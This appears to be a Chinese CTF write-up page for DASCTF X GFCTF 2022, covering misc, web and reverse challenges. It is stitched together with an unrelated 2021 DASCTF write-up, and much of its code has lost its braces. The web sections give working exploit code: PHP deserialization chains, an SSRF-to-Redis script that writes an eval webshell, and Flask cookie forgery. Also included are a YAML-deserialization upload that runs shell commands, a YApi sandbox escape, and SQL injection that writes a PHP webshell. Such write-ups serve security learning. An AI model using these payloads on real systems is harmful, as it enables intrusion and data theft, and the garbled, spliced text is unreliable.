DASCTF X GFCTF 2022十月挑战赛 WriteUp

Posted Whitebird_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DASCTF X GFCTF 2022十月挑战赛 WriteUp相关的知识,希望对你有一定的参考价值。

I GOT 油 我想抽

MISC

ansic

安卓misc,逆不逆向问题不大,逆向了可以找到账号密码是admin和admin的md5的8到24位。

然后里面有一张图,在assert里也可以看见加密图片的逻辑(但也问题不大,ps可以搞定),加密图片在res里面,存在一个encode.jpg的图片

解密后是base64


目力之后是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwODA2NyIsImF1ZCI6IkRTVEJQIiwiaWF0IjoxNjY1MTExODg5LjYwMTY5MjQsImhpbnQiOiJUaGUgU2lnbmF0dXJlJ3MgYmFzZTY0IGlzIFppcCdzIFBhc3N3b3JkIiwiZXhwIjoxNjk2NjQ3ODg5LjYwMTY5MjR9.fBPoMQprLZF280c7jazIApJC4m0PX_Cx9_UnNMGZIP0
用jwt爆破密钥,得到w1lm,base64加密后提取一张jpg和class,jpg是jphs的隐写,密码在class文件中,class逆向得到逻辑

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;

public class pwEncode 
  public static void main(String[] paramArrayOfString) throws IOException 
    File file = new File("D:/ansic/message.txt");
    FileReader fileReader = new FileReader(file);
    BufferedReader bufferedReader = new BufferedReader(fileReader);
    String str1 = bufferedReader.readLine();
    String str2 = "mllw";
    String str3 = "";
    byte b;
    int i;
    for (b = 0, i = 0; b < str1.length(); b++) 
      char c = str1.charAt(b);
      if (Character.isLetter(c)) 
        if (Character.isUpperCase(c)) 
          str3 = str3 + (char)((c + str2.toUpperCase().charAt(i) - 130) % 26 + 65);
         else 
          str3 = str3 + (char)((c + str2.toLowerCase().charAt(i) - 194) % 26 + 97);
         
       else 
        str3 = str3 + c;
       
      i = ++i % str2.length();
     
    if (str3 == "pdexbdlueesabldoizczudmlfdo")
      System.out.println(str3); 
  

最后可以爆破得到明文为:dstbpsaysthepasswordisbptsd

import string

def _enc(c,index):
    key = 'mllw'
    if c.isupper():
        return chr((ord(c)+ord(key[index%4].upper())-130)%26+65)
    else:
        return chr((ord(c)+ord(key[index%4].lower())-194)%26+97)
        
enc = 'pdexbdlueesabldoizczudmlfdo'
table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
res = ''
for i in range(len(enc)):
    for j in table:
        if _enc(j,i) == enc[i]:
            res+=j
print(enc)

图片右键属性可以看见base64 jphs的提示,用jphs来解即可,密码:bptsd

滴滴图

图片结尾

图片binwalk,提取压缩包密码解压,获得图片,图片改高度


用来解压音频压缩包
然后morse密码,发现有干扰,用au分离左右声道


在线识别即可
left直接转hex,right识别出来全是乱码无视。(最后一位没识别完就截图了,无所谓

转换,是to_be_ctfer,直接提交。

poi?qoi!

工具转一下 r0有个mask
Mask:

Fake:

Real:

ez_xxd

流量分析,直接提取,flag.txt提取完是个图片,zip解压是个压缩包,zip内有一个叫Miku.png的图片,然后刚好提取的图片内容也是miku,直接明文爆破,获得密钥
bf5b3101 9aed7bd6 79e1cb93

myd直接提取就行了,直接是带密码的flag.zip,密码不知道,时间排序看js


解压flag.zip即可

easy_dots

打印机黄色校验,彩色打印机一般都有的水印
参考文章
https://w2.eff.org/Privacy/printers/docucolor/
不过在线工具不好使了,他给了源码,
https://gist.github.com/zwh2/ffb3d4ee0f66b8e6c726a217ff3d7f9cf12
点好的数据f12抓包,上传的时候的参数给自己本地部署的发过去就行了
(wp截图仅供参考,懒得重新点了)

postman发一下捏

设备id08067520,时间,2002 10-28 06:06,拼接md5提交

dockermisc

本想着用docker-layer做来着,不如直接挨个layer翻
翻到图片

lsb可以获得前半段,然后后面拼接个压缩包可以直接提取出来,直接爆破

获得flag内容,有0宽,不过数据量不够,是混淆用的,把可见字符直接base85就行了

Web

EasyPOP

Fast-destruct


```php
<?php
class fine

  private $cmd;
  private $content;

  public function __construct($cmd, $content)
  
    $this->cmd = $cmd;
    $this->content = $content;
  

  public function __invoke()
  
    call_user_func($this->cmd, $this->content);
  

  public function __wakeup()
  
    $this->cmd = "";
    die("Go listen to Jay Chou's secret-code! Really nice");
  


class show

  public $ctf;
  public $time = "Two and a half years";

  public function __construct($ctf)
  
    $this->ctf = $ctf;
  

  public function __toString()
  
    return $this->ctf->show();
  

  public function show(): string
  
    return $this->ctf . ": Duration of practice: " . $this->time;
  


class sorry

  private $name;
  private $password;
  public $hint = "hint is depend on you";
  public $key;

  public function __construct($name, $password, $key, $hint)
  
    $this->name = $name;
    $this->password = $password;
    $this->key = $key;
    $this->hint = $hint;
  

  public function __get($name)
  
    $name = $this->key;
    $name();
  

  public function __destruct()
  
    if ($this->password == $this->name) 

      echo $this->hint;
     else if ($this->name = "jay") 
      secret_code::secret();
     else 
      echo "This is our code";
    
  

  public function getPassword()
  
    return $this->password;
  

  public function setPassword($password): void
  
    $this->password = $password;
  


class secret_code

  protected $code;

  public function __construct($code)
  
    $this->code = $code;
  

  public static function secret()
  
    include_once "hint.php";
    hint();
  

  public function __call($name, $arguments)
  
    $num = $name;
    $this->$num();
  

  private function show()
  
    return $this->code->secret;
  


$hint = new show(new secret_code(new sorry("1", "2", new fine('show_source', '/flag'), "")));

$a = new sorry(true, "123", "", $hint);

$content = serialize($a);

$content = substr($content, 0, strlen($content));

echo(urlencode($content));

删掉一个大括号

hade_waibo

非预期,直接读/start.sh,里面有文件名
http://0c4e0129-baa2-487f-9f8b-63e3e2a48170.node4.buuoj.cn:81/file.php?m=show&filename=…/…/…/…/start.sh

EasyLove

ssrf打redis,date提权输出flag

Python
cmd = [
    "AUTH 20220311",
    "flushall",
    "set 1 ".format("<?php$IFSeval($_POST[0]);?>"),
    "config set dir ".format("/var/www/html/"),
    "config set dbfilename ".format("shell.php"),
    "save"
]

def redis_format(arr):
    CRLF = "\\r\\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*"+str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF+"$" + \\
            str(len((x.replace("$IFS", " "))))+CRLF+x.replace("$IFS", " ")
    cmd += CRLF
    return cmd

print(''.join([redis_format(x) for x in cmd]))


PHP
<?php
class swpu
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    
    public function __construct($wllm,$arsenetang,$l61q4cheng,$love)
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    
    public function newnewnew()
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    

    public function flag()
        $this->love->getflag();
    
    
    public function __destruct()
        $this->newnewnew();
        $this->flag();
    


$o = new swpu('SoapClient', null, array(
    'user_agent' => "\\r\\n".file_get_contents("payload"),
    'location'=>'http://127.0.0.1:6379',
    'uri'=>''
), null);

class hint
    public $hint = "/var/www/html/";
    public function __destruct()
        echo file_get_contents($this-> hint.'hint.php');
    

echo(urlencode(serialize($o)));

BlogSystem

博客里有常用secret直接改cookie

flask-unsign --sign --secret '7his_1s_my_fav0rite_ke7' -c 
"'_permanent': True, 'username': 'admin'"   

从download接口下源码,有个yaml反序列化,搞个py上去import一下module就行

import requests
import random
    

s = random.randbytes(2).hex()

f = f"""
!!python/module:static.upload.s
"""

session = requests.Session()

session.cookies.set("session", "eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y1TK9w.sL9xcd4WuJrGlN_4aziq1PFhYDA")

url = "http://de91fa76-573b-426d-9c7b-f045470fd8d2.node4.buuoj.cn:81"

r = session.post(url + "/blog/imgUpload", files=
    "editormd-image-file": (f"s.py", f"import os;os.system('cat /flag > /tmp/result-s.txt')", "text/plain")
)

print(r.json())

r = session.post(url + "/blog/imgUpload", files=
    "editormd-image-file": (f"s.yaml", f, "text/plain")
)

print(r.json())

r = session.get(url + "/blog/saying", params=
        "path": f"static/upload/s.yaml"
)

print(r.text)

r = session.get(url + "/download", params=
        "path": f"/tmp/result-s.txt"
)

print(r.text)

REVERSE

Pycode

手动逆向一下,mt19937

from Crypto.Util import number

enc = '8b2e4e858126bc8478d6a6a485215f03'

def inverse_right(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp

# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp

# left shift inverse
def inverse_left(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift
    return tmp

# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp

def extract_number(x):
    # x, x, 11
    x = (x >> 11) ^ x
    x = x ^ ((x << 7) & 2022072721)
    x = x ^ ((x << 15) & 2323163360)
    x = x ^ (x >> 18)
    return x

def recover(y):
    y = inverse_right(y,18)
    y = inverse_left_mask(y,15,2323163360)
    y = inverse_left_mask(y,7,2022072721)
    y = inverse_right(y,11)
    return y&0xffffffff

def transform(m: bytes):
    new_message = b''
    l = len(m)
    for i in range(l // 4):
        enc = m[i * 4:i * 4 + 4]
        enc = number.bytes_to_long(enc)
        enc = extract_number(enc)
        enc = number.long_to_bytes(enc, 4)
        new_message += enc
    return new_message
    

if __name__ == "__main__":
    num = input("input your number")
    tmp = bytes.fromhex(num)
    res = transform(tmp).hex()
    if enc == res:
        print("ok,your flag : DASCTFname".format(name=num))
    else:
        print("wrong")

new_message = b''
enc = bytes.fromhex(enc)
l = len(enc)
for i in range(l // 4):
    dec = enc[i * 4:i * 4 + 4]
    dec = number.bytes_to_long(dec)
    dec = recover(dec)
    dec = number.long_to_bytes(dec, 4)
    new_message += dec

print(new_message.hex())

贪玩CTF

首先看一下导出表,有TLS,查看代码是反调试

查看关键词,交叉引用定位关键代码


关键函数在sub_1400019C0里面,返回值判断是否能成功登录,当v17==1,才能成功登录

密码和登录账号的长度都要是16,而且sub_140001390是一个关键函数,后面分析

account 逐字节xor账户名最后一个字节,我们动调看一下密文,下面是account的验证

记得要过反调试,把 IsDebuggerPresent的返回值1改成0就行了

提取数据

2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th WriteUp

最后十分钟掉了4名可还行

只写自己做了的,队友出的就不写了
题目:
Crypto:Yusa的密码学签到——BlockTrick
MISC:5道+1道赛后复现(共6道)
WEB:ezrce、cat flag、easythinkphp、jspxcms、cybercms

Crypto:Yusa的密码学签到——BlockTrick

不知道啥意思,反正暂且当复读机就行了。

MISC-问卷题

DASCTF{79f3bb47a2e2d46def82c052eccb7b80}

MISC-red_vs_blue
一共66轮,本来想手动发现90s会自动断开,还发现在同一轮nc里面的答案是固定的,于是可以写脚本试错在90s内赢66轮

p=remote("node4.buuoj.cn",26137)
context.log_level='debug'
answer='b'*66
f=False
while True:
    for i in range(66):
        p.recvuntil('choose one [r] Red Team,[b] Blue Team:')
        p.sendline(answer[i])
        p.recvuntil("Team")
        p.recvuntil("Team\\n")
        if p.recv(5).decode()=="Sorry":
            p.recvuntil('Play again? (y/n): ')
            answer=answer[:i]+'r'+answer[i+1:]
            p.sendline('y')
            break
        else:
            continue
        try:
            flag1=p.recvuntil('flag')
            flag2=p.recvuntil('\\n')
            f=True
            break
        except:
            pass
    if f:
        break
print(flag1,flag2)

MISC-funny_maze
麻了麻了,照着改了好多次,2个半小时就没了
原脚本:https://blog.csdn.net/qq_29681777/article/details/83719680
对其进行修改:

def winner(n):
    dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)]  # 当前位置四个方向的偏移量
    path = []  # 存找到的路径


    def mark(maze, pos):  # 给迷宫maze的位置pos标"2"表示“倒过了”
        maze[pos[0]][pos[1]] = 2


    def passable(maze, pos):  # 检查迷宫maze的位置pos是否可通行
        return maze[pos[0]][pos[1]] == 0


    def find_path(maze, pos, end):
        mark(maze, pos)
        if pos == end:
            print(pos, end=" ")  # 已到达出口,输出这个位置。成功结束
            path.append(pos)
            return True
        for i in range(4):  # 否则按四个方向顺序检查
            nextp = pos[0] + dirs[i][0], pos[1] + dirs[i][1]
            # 考虑下一个可能方向
            if passable(maze, nextp):  # 不可行的相邻位置不管
                if find_path(maze, nextp, end):  # 如果从nextp可达出口,输出这个位置,成功结束
                    print(pos, end=" ")
                    path.append(pos)
                    return True
        return False


    def see_path(maze, path,counts):  # 使寻找到的路径可视化
        count = 0
        for i, p in enumerate(path):
            if i == 0:
                maze[p[0]][p[1]] = "E"
            elif i == len(path) - 1:
                maze[p[0]][p[1]] = "S"
            else:
                maze[p[0]][p[1]] = 3
        print("\\n")
        for r in maze:
            for c in r:
                if c == 3:
                    print('\\033[0;31m' + "*" + " " + '\\033[0m', end="")
                    count += 1
                elif c == "S" or c == "E":
                    print('\\033[0;34m' + c + " " + '\\033[0m', end="")
                elif c == 2:
                    print('\\033[0;32m' + "#" + " " + '\\033[0m', end="")
                elif c == 1:
                    print('\\033[0;;40m' + " " * 2 + '\\033[0m', end="")
                else:
                    print(" " * 2, end="")
            print()
        print(count+1)
        counts = count +1
        return counts



    p.recvuntil("#"*n + '\\n')
    map = ["#"*n]
    for i in range(n-1):
        map.append(str(p.recvline())[2:-3])
    for i in map:
        print(i)
    maze = [[0]*n for i in range(n)]
    for h in range(len(map)):
        for w in range(len(map)):
            if(map[w][h] == '#'):
                maze[w][h] = 1
            if(ord(map[w][h]) == 32 or map[w][h] == 'S' or map[w][h] == 'E'):
                maze[w][h] == 0
    print(maze)
    for h in range(len(map)):
        for w in range(len(map)):
            if(map[w][h] == 'S'):
                start = (w,h)
            if(map[w][h] == 'E'):
                end = (w,h)
    counts = 0
    find_path(maze, start, end)
    c = see_path(maze, path,counts)
    p.recvline()
    p.sendline(str(c+1))



from pwn import *
context.log_level ='debug'
p = remote("node4.buuoj.cn",29622)
p.sendline("1")
winner(11)
winner(21)
winner(31)
winner(101)
winner(111)

这里定义为了函数,是为了初始化,如果不定义成函数,就会出现错误。还有就是定义二维数组一定要像我那样定义,不然会出现非理想的情况,免得自己排查都没排除清楚。

MISC-Just a GIF
类似国赛的GIF,甚至比国赛的简单
首先GIF用GIFFrame分离,一共得到451张图片
每11张为一组,一共41组,一组一组的来比较,即第一组第x张和每组第x张比较,相同画白,不同画黑
听不懂就看脚本

from PIL import Image
import os
from tqdm import tqdm

path = 'C:\\\\Users\\\\mumuzi\\\\Desktop\\\\Just_a_GIF'
pic = ['']*451
i = 0
for filename in os.listdir(path):
    pic[i] = filename
    i += 1
print(pic)

tmp = Image.open(path+'\\\\Frame0.png')
w,h = tmp.size[0],tmp.size[1]
img = Image.new('RGB',(w,h),(255,255,255))
count= 0
flag = ''
#上面没用,是当时调试的时候写的,忘了删了
for i in tqdm(range(11)):
    picn = Image.new('RGB',(w,h),(255,255,255))
    for t in range(1,41):
        pic1 = Image.open(path+'\\\\Frame'+str(i)+'.png')
        pic2 = Image.open(path+'\\\\Frame'+str(i+t*11)+'.png')
        for j in range(h):
            for k in range(w):
                tmp1 = pic1.getpixel((k,j))
                tmp2 = pic2.getpixel((k,j))
                if(tmp1 != tmp2):
                    picn.putpixel((k,j),(0,0,0))
    picn.save(str(i)+'.png')

妈的,笑死,我当时到底在写什么玩意儿,前面获取了目录后面为啥不直接用目录,有病。
想起来了,上面,for i 前面的 都不用看,那是当时在调试的时候测试的,只需要从for i in tqdm(range(11))开始看就行了

我的命名是从0开始到450的
然后跑出来:

很容易看出来是要拼起来,9张图手撸即可
DataMatrix
https://demo.dynamsoft.com/barcode-reader/

DASCTF{6bb73086aeb764b5727529d82b084cce}

MISC-Nuclear wastewater
核~~废~~水
原本黑黑的二维码变成了彩色的,把他的值打印出来,发现2通道为0,另一通道不为零
将其转字符,因为包含不可打印字符,所以这里把范围限制到32~128

from PIL import Image
img = Image.open('Nuclear wastewater.png')
w,h = img.size[0],img.size[1]
for i in range(3):
    for j in range(10,h-10,10):
        for k in range(10,w-10,10):
            tmp = list(img.getpixel((k,j)))
            if(tmp != [255, 255, 255] and int(tmp[i]) != 0 and tmp[i]>32 and tmp[i]<128):
                print(chr(tmp[i]),end='')

虽然我知道if判断那里前两个条件多余了,但是当时是这样做的,就还是这样写吧。
得到:

Ys>UEJht#?ppeEFtstR#:hitR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh

然后词频

from collections import Counter
f = 'Ys>UEJht#?ppeEFtstR#~:hi~tR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh'
c = Counter(f)
print(c)


#R@/&p~!,因为后面词频为1,出题人肯定不会将1的放进去,不然就不知道顺序,做起来稍微麻烦了一点,测试发现果然如此,解压成功。

#R@/&p~!

然后用winhex查看解压的txt

发现零宽隐写,包含:U+200C U+200D U+200E
http://330k.github.io/misc_tools/unicode_steganography.html

直接上cyberchef,注意复制的时候不要把零宽的内容复制进去了,或者直接复制上图左上的内容

flag{98047de9ce5aaa4c0031fb55e9dfac70}

MISC-赛后复现-ezSteganography
非预期,用stegsolve分离出g0通道,得到前半张图

然后,图g0和g1异或

flag{2e9ec6480d05150c211963984dcbc9f1}

WEB-ezrce
打开显示yapi,直接去百度yapi漏洞
https://blog.csdn.net/Trouble_99/article/details/118667625
这篇 无脑的命令执行方法
然后就是找flag的位置
先ls没有,然后ls …/; ls …/…/发现ffffffflllllaggggg

最后:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process’)
const process = myfun()
mockJson = process.mainModule.require(“child_process”).execSync(“cat …/…/ffffffflllllaggggg”).toString()

WEB-cat flag
根据提示:管理员曾经访问过 flag,可以去日志找

Payload:?cmd=/var/log/nginx/access.log

得到:/this_is_final_flag_e2a457126032b42d.php

然后就是想办法绕过escapeshellarg
而根据百度经常看见的做法,一般escapeshellarg和escapeshellcmd一起用
所以这里去单独搜escapeshellarg函数
https://www.php.net/manual/zh/function.escapeshellarg.php
注意到用户提出的问题

当escapeshellarg()从UTF-8字符串中剥离非ASCII字符时,添加以下内容修复了该问题。
然后看我们这道题,是并没有添加的,所以可能存在这个问题
然后又要绕flag,所以可以将其添加在flag当中试试

Payload:http://3a33dc78-d707-4a3d-9237-fce482a8ae8e.node4.buuoj.cn/?cmd=this_is_final_fl%81ag_e2a457126032b42d.php

然后看源码

WEB-easythinkphp
ThinkPHP3.2.3
手里有两个Thinkphpgui,一个利用范围基本5.x,一个包含3.x
是从peiqi薅的
一键getshell

上蚁剑

http://68dcc3c6-18dc-4e12-8c76-1c8b783f9f9f.node4.buuoj.cn//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_01.log
Pass:peiqi



Web-jspxcms
跟着这篇文章复现就完事:
https://lockcy.github.io/2019/10/18/%E5%A4%8D%E7%8E%B0jspxcms%E8%A7%A3%E5%8E%8Bgetshell%E6%BC%8F%E6%B4%9E/



Web-cybercms
/www.zip 源码泄漏 /admin 后台
(当时看这后台就觉得熟悉,结果之后才发现在bugku打awd的时候打过beescms)
源码里面看index.php,发现是beescms


然后是得到了他的一个

payload:
admin’ uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile ‘C:/phpStudy/WWW/beescms/shell.php’#

试试

发现题目改过,是在原来基础上多了个f1_vvv
然后用notepad++搜整个文件夹,在www\\includes\\fun.php下


发现是过滤了空格,可以用Tab代替空格,%a0=空格。
哦对,目录也要改,在看robots.txt的时候发现目录/var/www/html/
所以写在其处,这里用的是Tab代替空格

最终payload:
admin%27 un union ion seselectlect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into to outoutfilefile ‘/var/www/html/shell.php’#

剑蚁/shell.php 密码cmd

以上是关于DASCTF X GFCTF 2022十月挑战赛 WriteUp的主要内容,如果未能解决你的问题,请参考以下文章

DASCTF X GFCTF 2022十月挑战赛 Writeup

DASCTF X CBCTF 2022九月挑战赛 Writeup

DASCTF X CBCTF 2022九月挑战赛 Writeup

DASCTF X CBCTF 2022九月挑战赛 Writeup

2022DASCTF Apr X FATE 防疫挑战赛 Writeup

2022DASCTF Apr X FATE 防疫挑战赛 Writeup